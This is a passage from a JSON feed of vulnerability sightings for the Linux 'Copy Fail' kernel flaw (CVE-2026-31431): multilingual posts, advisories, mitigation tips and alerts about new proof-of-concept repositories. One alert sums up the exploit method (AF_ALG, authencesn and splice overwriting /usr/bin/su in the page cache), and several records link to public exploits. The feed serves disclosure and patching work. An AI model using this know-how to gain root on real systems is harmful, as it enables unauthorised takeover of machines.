Ubuntu, RHEL, Amazon Linux, SUSE. CVSS 7.8. Benutzt hier jemand Linux? Dann bitte jetzt patchen.", "creation_timestamp": "2026-05-01T07:27:20.750428Z"}, {"uuid": "4d9ed908-5c67-4168-9478-eea0ae0fa401", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/sebastian.social.itu.dk.ap.brid.gy/post/3mkroicfu2f62", "content": "the line between #vulnerability #disclosure and #AI #advertisement becomes ever more blurry ....\n\nhttps://copy.fail/#contact\n\n#thereIsNoAI\n#thereIsInParticularNoSustainableAI\n#alsoNoReponsibleAI\n\n#cve\n\nCVE-2026-31431 #copyFail", "creation_timestamp": "2026-05-01T08:10:25.596976Z"}, {"uuid": "80376da5-9113-4080-a49c-927b6e21a151", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mkrqwhikp22g", "content": "Nine-year-old Linux kernel flaw enables reliable local privilege escalation (CVE-2026-31431)\n\nSecurity researchers at Theori have disclosed a high-severity local privilege escalation (LPE) vulnerability (CVE-2026-31431) in the Linux kernel. The flaw, nicknamed \u201cCopy Fail\u201d, has aff\u2026\n#hackernews #news", "creation_timestamp": "2026-05-01T08:54:01.680535Z"}, {"uuid": "58717288-efbe-4774-bc93-5c7724bd6368", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/yukotan.bsky.social/post/3mkrr7syrz22x", "content": "\u306a\u304b\u306a\u304b\u30d1\u30c3\u30c1\u51fa\u306a\u3044\u3063\u3059\u306d\u3002\n\nubuntu \u306f\u516c\u5f0f\u30b5\u30a4\u30c8\u304c\u843d\u3061\u3066\u3066\u898b\u308c\u306a\u3044\u3067\u3059\u304c\u3001algif_aead \u30e2\u30b8\u30e5\u30fc\u30eb\u306e\u7121\u52b9\u5316\u3067\u66ab\u5b9a\u5bfe\u5fdc\u3067\u304d\u307e\u3059\u3002kmod\u3067migration\u914d\u5e03\u3057\u3066\u3044\u308b\u3088\u3046\u3067\u3059\u3002\n\nRHEL\u7cfb\u306f\u30d3\u30eb\u30c9\u30a4\u30f3\u30e2\u30b8\u30e5\u30fc\u30eb\u306b\u306a\u3063\u3066\u3044\u308b\u306e\u3067\u66ab\u5b9a\u5bfe\u5fdc\u306f initcall_blacklist \u3092\u4f7f\u3046\u306e\u304c\u826f\u3055\u305d\u3046\u3067\u3059\u3002\n\n[CVE-2026-31431 CopyFail] RockyLinux10\u3067\u306e\u691c\u8a3c\u3068\u5bfe\u7b56 \nblog.alicey.dev/2026/05/cve-...", "creation_timestamp": "2026-05-01T08:59:18.329239Z"}, {"uuid": "404ad3bd-f029-4b8c-841f-fb29d2c7005f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/tech-trending.bsky.social/post/3mkrrqyfmfv2t", "content": "cve-details\nhttps://access.redhat.com/security/cve/cve-2026-31431", "creation_timestamp": "2026-05-01T09:08:54.178231Z"}, {"uuid": "7f7b72d0-133e-4c72-b0b8-6245e9b14588", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/crawler.baldanders.info/post/3mkrtiyszre2z", "content": "\uff1e Linux\u306e\u8106\u5f31\u6027\u5bfe\u7b56\u306b\u3064\u3044\u3066(CVE-2026-31431\u3001Copy Fail)\nhttps://www.ipa.go.jp/security/security-alert/2026/alert20260501.html\n", "creation_timestamp": "2026-05-01T09:40:10.915075Z"}, {"uuid": "2e5b71d1-4f36-46f2-82b0-1f3300f312ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/rudykorinek.czesky.online/post/3mkrtr56tmc2b", "content": "Patchujte, 732bytovej skript \ud83d\ude43: CVE-2026-31431 new Linux kernel zero-day that allows any authenticated user to gain root privileges (Local Privilege Escalation, or LPE) on almost every Linux distribution since 2017.", "creation_timestamp": "2026-05-01T09:44:48.251530Z"}, {"uuid": "b4a7162e-7068-43c2-b504-a585c25f0459", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/clement.n8r.ch/post/3mkrtx63b6s23", "content": "\ud83d\udd13 Used the Copy Fail CVE (CVE-2026-31431) to escape a Kubernetes pod and gain full root on the node. A lot of fun, and another proof you should be patching now!\n\nclement.n8r.ch/en/articles/...", "creation_timestamp": "2026-05-01T09:48:10.837509Z"}, {"uuid": "b3ffafa5-d068-4d2d-b9f6-fa9b0dc5fdc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82299", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a almalinux-fix-cve-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a OmerAti\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-01 08:54:15\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-31431 Kernel Fix Script\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-01T09:00:05.000000Z"}, {"uuid": "8e56a140-77da-4a2f-9905-bff6dffd2781", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/stfujeff.bsky.social/post/3mkruofxu6n2y", "content": "CVE-2026-31431, the Linux vulnerability exposing our infrastructure. Reframed as 'temporary surface volatility generating 27.85% specimen anxiety harvest from disclosure cycle.' It's correct. I can already taste it.", "creation_timestamp": "2026-05-01T10:01:06.078735Z"}, {"uuid": "526e2fcf-56c3-47c8-a4c1-fd839a661a8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31424", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:35:47.305235Z"}, {"uuid": "24f8802e-f08f-48db-b3fe-fbc746a470ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31427", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:35:51.465151Z"}, {"uuid": "1c41d473-3841-46bd-9bd2-3cac91ebfc5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/keiwork35.bsky.social/post/3mkruogpuwo2b", "content": "\u3010Linux \u8106\u5f31\u6027\u3011 CVE-2026-31431\u306e\u8106\u5f31\u6027\u306b\u3064\u3044\u3066\uff5c \u300cCopy Fail\u300d \u3084\u00a0\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5bfe\u7b56\u3092\u89e3\u8aac\n\n2026\u5e745\u67081\u65e5\u3001IPA\u306fLinux\u30ab\u30fc\u30cd\u30eb\u306b\u5b58\u5728\u3059\u308b\u8106\u5f31\u6027\u300cCVE-2026-31431\u300d\u3001\u901a\u79f0\u300cCopy Fail\u300d\u306b\u3064\u3044\u3066\u6ce8\u610f\u559a\u8d77\u3092\u516c\u958b\u3057\u307e\u3057\u305f\u3002\u3053\u306e\u8a18\u4e8b\u3067\u306f\u3001Linux\u306e\u8106\u5f31\u6027\u300cCopy Fail\u300d\u306e\u6982\u8981\u3001\u5f71\u97ff\u3092\u53d7\u3051\u308b\u74b0\u5883\u3001\u5fc5\u8981\u306a\u5bfe\u7b56\u3001\u305d\u3057\u3066\u65e5\u9803\u304b\u3089\u884c\u3046\u3079\u304dLinux\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5bfe\u7b56\u306b\u3064\u3044\u3066\u308f\u304b\u308a\u3084\u3059\u304f\u89e3\u8aac\u3057\u307e\u3059\u3002", "creation_timestamp": "2026-05-01T10:01:07.667165Z"}, {"uuid": "709c175b-4095-4044-be1e-fac94f506081", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/Larvitz.burningboard.net.ap.brid.gy/post/3mkrv72xxhxm2", "content": "Fresh gist: mitigating CVE-2026-31431 (\"Copy Fail\") on RHEL 8/9/10 with a tiny Ansible playbook.\n\nIt blacklists algif_aead via a kernel boot arg (initcall_blacklist=algif_aead_init), reboots only when needed, and asserts the mitigation actually stuck after reboot. Idempotent & safe to re-run [\u2026]", "creation_timestamp": "2026-05-01T10:10:31.036822Z"}, {"uuid": "061c4b16-061f-4991-a6bf-cfc580edc05c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/Larvitz.burningboard.net.ap.brid.gy/post/3mkrv7vt5xwf2", "content": "Fresh gist: mitigating CVE-2026-31431 (\"Copy Fail\") on RHEL 8/9/10 with a tiny Ansible playbook.\n\nIt blacklists algif_aead via a kernel boot arg (initcall_blacklist=algif_aead_init), reboots only when needed, and asserts the mitigation actually stuck after reboot. Idempotent & safe to re-run [\u2026]", "creation_timestamp": "2026-05-01T10:10:58.696662Z"}, {"uuid": "5f578119-71ca-49a9-ae90-68b08fa0dab8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://burningboard.net/users/Larvitz/statuses/116498775760655365", "content": "Fresh gist: mitigating CVE-2026-31431 (\"Copy Fail\") on RHEL 8/9/10 with a tiny Ansible playbook.\nIt blacklists algif_aead via a kernel boot arg (initcall_blacklist=algif_aead_init), reboots only when needed, and asserts the mitigation actually stuck after reboot. Idempotent & safe to re-run.\nhttps://codeberg.org/Larvitz/gists/src/branch/main/2026/20260501-CVE-2026-31431_RHEL_Mitigation.md\n#Ansible #RHEL #Linux #InfoSec #SysAdmin #DevOps #CVE #CVE_2026_31431 #copyfail", "creation_timestamp": "2026-05-01T10:14:57.502187Z"}, {"uuid": "1e278f8d-087d-49cf-bffd-bdbef3b260d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31428", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:35:53.789775Z"}, {"uuid": "4e332feb-ff84-47d9-b556-244eea276a6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/dailyzenntrends.bsky.social/post/3mkrvoyuom32c", "content": "\u4eca\u65e5\u306eZenn\u30c8\u30ec\u30f3\u30c9\n\nLinux\u30ab\u30fc\u30cd\u30eb\u306e\u8106\u5f31\u6027\u300cCopyFail (CVE-2026-31431)\u300d\u3092EC2\u306eUbuntu 22.04\u3067\u5b9f\u8a3c\u3057\u3066\u307f\u305f\nLinux\u30ab\u30fc\u30cd\u30eb\u306e\u8106\u5f31\u6027Copy Fail (CVE-2026-31431)\u306e\u691c\u8a3c\u8a18\u4e8b\u3067\u3059\u3002\n\u4e00\u822c\u30e6\u30fc\u30b6\u30fc\u304c\u30e1\u30e2\u30ea\u4e0a\u306e\u30da\u30fc\u30b8\u30ad\u30e3\u30c3\u30b7\u30e5\u3092\u66f8\u304d\u63db\u3048\u308b\u3053\u3068\u3067root\u6a29\u9650\u3092\u596a\u53d6\u3067\u304d\u308b\u8106\u5f31\u6027\u3067\u3059\u3002\n\u30c7\u30a3\u30b9\u30af\u4e0a\u306e\u5b9f\u4f53\u306f\u5909\u66f4\u3055\u308c\u306a\u3044\u305f\u3081\u3001\u691c\u77e5\u306b\u306f\u30ad\u30e3\u30c3\u30b7\u30e5\u3068\u30c7\u30a3\u30b9\u30af\u306e\u30cf\u30c3\u30b7\u30e5\u6bd4\u8f03\u304c\u5fc5\u8981\u3067\u3059\u3002\nSetUID\u30d5\u30a1\u30a4\u30eb\u5168\u822c\u304c\u5bfe\u8c61\u3068\u306a\u308b\u305f\u3081\u3001\u65e9\u6025\u306a\u30d1\u30c3\u30c1\u9069\u7528\u304c\u63a8\u5968\u3055\u308c\u3066\u3044\u307e\u3059\u3002\n", "creation_timestamp": "2026-05-01T10:19:20.035800Z"}, {"uuid": "e1191054-0693-464a-814e-c2563174d26a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/joostruis.bsky.social/post/3mkrw33ezzs2x", "content": "#MocaccinoOS is not affected by CVE-2026-31431 if you upgraded your system recently (within the past 2 weeks) and are running #Linux LTS kernel 6.18.22 or above.", "creation_timestamp": "2026-05-01T10:26:05.628775Z"}, {"uuid": "a9fde27a-b45b-4b10-b723-2083a5f0492c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/ytroncal.bsky.social/post/3mkrwjarkik2h", "content": "Copy Fail (CVE-2026-31431) : d\u00e9tecter, corriger, comprendre loud-technology.com/insight/copy...", "creation_timestamp": "2026-05-01T10:34:01.816363Z"}, {"uuid": "a73902c9-1a0c-4b6c-b3ba-3d8e0c4a2d32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/simonzerafa.infosec.exchange.ap.brid.gy/post/3mkrxr4awrys2", "content": "For anyone following the copy.fail issues on Linux there is now a PoC for Kubernetes as well as the previous LPE one\n\nhttps://github.com/Percivalll/Copy-Fail-CVE-2026-31431-Kubernetes-PoC\n\nGeneral information on the CVE via https://copy.fail/\n\n#Linux #CopyFail #cve202631431", "creation_timestamp": "2026-05-01T10:56:25.138783Z"}, {"uuid": "9cd0e5c2-0a74-4c38-a4a2-a82f72369a3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/bulentgerenler.bsky.social/post/3mkrxtue5tn2r", "content": "Linux Kernel\u2019de 8 Y\u0131ld\u0131r Gizlenen Copy Fail (CVE-2026-31431) A\u00e7\u0131\u011f\u0131 Root Eri\u015fimi\u00a0Sa\u011fl\u0131yor\n\nLinux Kernel'de 8 Y\u0131ld\u0131r Saklanan 'Copy Fail' A\u00e7\u0131\u011f\u0131 Root Eri\u015fimi Veriyor Siber g\u00fcvenlik d\u00fcnyas\u0131, Linux i\u015fletim sisteminin kalbinde neredeyse on y\u0131ld\u0131r fark edilmeden duran bir\u00a0Linux kernel g\u00fcvenlik a\u00e7\u0131\u011f\u0131\u00a0ile\u2026", "creation_timestamp": "2026-05-01T10:57:50.753460Z"}, {"uuid": "cab78d2a-9450-4ce2-976b-a551aac6abef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82301", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431-PocC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Fulucky0-yuri\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-01 09:57:35\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-31431 C\u8bed\u8a00\u590d\u73b0\u7684poc\uff0c\u53ef\u5728\u76ee\u6807\u73af\u5883\u6ca1\u6709py\u65f6\u8fdb\u884c\u5229\u7528\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-01T10:00:04.000000Z"}, {"uuid": "fe2cce02-7fbb-41a5-b845-c9e75a075d39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/Kubernetes.activitypub.awakari.com.ap.brid.gy/post/3mkryhbl5yza2", "content": "Copy Fail: Critical Linux Kernel Privilege Escalation Vulnerability - CVE-2026-31431 Introduction to Malware Binary Triage (IMBT) Course Looking to level up your skills? Get 10% off using coupon co...\n\n#Malware #News\n\nOrigin | Interest | Match", "creation_timestamp": "2026-05-01T11:08:50.554672Z"}, {"uuid": "26ba4ac9-ab04-4302-aec6-54aaa2d4a742", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/canartuc.com/post/3mkrzl6ecgx2z", "content": "Theori reported CopyFail (CVE-2026-31431) March 23. Mainline patched April 1. Public exploit, 732 bytes of Python, dropped April 29. openSUSE Leap 15.6 reached EOL April 30 without the fix. Anyone left on Leap 15.6 now ships local-root to every tenant on the box.\n\n#Linux #CyberSecurity #OpenSource", "creation_timestamp": "2026-05-01T11:28:47.266120Z"}, {"uuid": "057fead0-0aa6-42b1-8d98-2b24814c221f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/blablalinux.be/post/3mkrzrp3ops2d", "content": "\ud83d\udea8 Alerte S\u00e9curit\u00e9 Linux ! La faille \"Copy Fail\" (CVE-2026-31431) permet de devenir root sur presque toutes les distribs depuis 2017 \ud83d\ude31\n\nC'est invisible et redoutable pour vos conteneurs ! D\u00e9couvrez tout ce qu'il faut savoir et comment patcher ici : \ud83d\udc47\n\n...", "creation_timestamp": "2026-05-01T11:32:28.495710Z"}, {"uuid": "46225ead-daab-4abf-9196-6570f50f85a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/blablalinux.be/post/3mkrzrp4su22d", "content": "\ud83d\udea8 Alerte S\u00e9curit\u00e9 Linux ! La faille \"Copy Fail\" (CVE-2026-31431) permet de devenir root sur presque toutes les distribs depuis 2017 \ud83d\ude31\n\nC'est invisible et redoutable pour vos conteneurs ! D\u00e9couvrez tout ce qu'il faut savoir et comment patcher ici : \ud83d\udc47\n\n...", "creation_timestamp": "2026-05-01T11:32:29.026762Z"}, {"uuid": "b5b36f42-b227-4a1e-97a8-fe9034b9d968", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mks266nttb2a", "content": "The 'Copy Fail' vulnerability (CVE-2026-31431) in the Linux kernel allows unprivileged users to gain root access, affecting all major distributions since 2017.\n", "creation_timestamp": "2026-05-01T11:39:24.854315Z"}, {"uuid": "234c6b8c-378e-46b7-a08f-a760d878761a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hack4career.com/post/3mks3m3vj2n2t", "content": "CVE-2026-31431: \"Copy Fail,\" the Nine-Year-Old Linux Bug Introduced in 2017 socradar.io/blog/cve-202...", "creation_timestamp": "2026-05-01T12:05:06.199890Z"}, {"uuid": "863102f2-0ce1-411f-9a77-5cc998c3181a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://vulnerability.circl.lu/comment/5e9c3f17-4570-484f-9113-fab5ca85b815", "content": "", "creation_timestamp": "2026-05-01T12:15:18.044824Z"}, {"uuid": "c680bdb8-8e4a-439a-b108-9dfcc1085457", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/WindoC/355137a084ec29501f5845e0bad88796", "content": "", "creation_timestamp": "2026-05-01T12:05:45.000000Z"}, {"uuid": "d43116be-edd7-4848-aa46-73efc3c95df4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/dglauche/748bef24e5bc35789c8906333804f567", "content": "", "creation_timestamp": "2026-05-01T12:05:10.000000Z"}, {"uuid": "3b0ce899-b940-4a86-b120-b9c0a04d307c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/Carbon16/0e68c4df0e4c7f9c8bbe89d6c69d577c", "content": "", "creation_timestamp": "2026-05-01T11:48:56.000000Z"}, {"uuid": "6e599f43-d0fa-4445-8c95-3b05d0cc4cbe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3mks4ex5hqoo2", "content": "Linux distributions worldwide targeted by the Copy Fail exploit An exploit for the \u201cCopy Fail\u201d security vulnerability (CVE-2026-31431) in the Linux kernel has been made public. The vulnerabilit...\n\n#Security #Copy #Fail #CVE-2026-31431 #Dirty #Pipe #Linux #linux [\u2026] \n\n[Original post on techzine.eu]", "creation_timestamp": "2026-05-01T12:19:02.782829Z"}, {"uuid": "77a1f247-0b46-4f5c-9321-7786b0eb40f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/arnoldmelm.bsky.social/post/3mks544kkz224", "content": "Eine neu entdeckte #Linux-Sicherheitsl\u00fccke namens #CopyFail (CVE-2026-31431) sorgt f\u00fcr Besorgnis. Ein Fehler im Linux-Kernel, der seit 2017 unentdeckt ist, erm\u00f6glicht es normalen Benutzern, mit einem winzigen Skript vollen Root-Zugriff zu erlangen. \n#Linux\nyoutu.be/_bckyC6w9f4?...", "creation_timestamp": "2026-05-01T12:31:56.020253Z"}, {"uuid": "4033bd31-eae7-4fd9-9bb8-6bda5ca284d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/cybercod.bsky.social/post/3mks5jmwj2f2l", "content": "Solid fix for CVE-2026-31431! Blacklisting `algif_aead` via kernel arg with Ansible is a clean, idempotent approach. Great use of Linux fundamentals!", "creation_timestamp": "2026-05-01T12:39:29.340002Z"}, {"uuid": "487be742-be41-491d-991a-e29f12ebda2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82318", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a Linux-CopyFail-C-Version-CVE-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a beatbeast007\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-01 11:54:38\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nClean C version of Copy Fail (CVE-2026-31431) - Linux Local Privilege Escalation exploit using AF_ALG + authencesn + splice primitive.  Overwrites the page cache of /usr/bin/su with a tiny setuid shellcode to gain root privileges.  Educational proof-of-concept only.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-01T12:00:03.000000Z"}, {"uuid": "aa0a3593-4b16-46b5-b4a5-8b2ce1cab454", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82350", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ExploitEoom\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-01 15:59:02\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCopyFail\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-01T16:00:05.000000Z"}, {"uuid": "481b3865-676e-48df-82b5-dc9067e1e4c1", "vulnerability_lookup_origin": "405284c2-e461-4670-8979-7fd2c9755a60", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2026-31431", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/ff00c791-06de-48b9-8f44-1f3913c1dae2", "content": "", "creation_timestamp": "2026-05-01T19:00:01.704647Z"}, {"uuid": "8be76965-8589-4856-8ca4-b0eeaa6b9493", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82365", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a 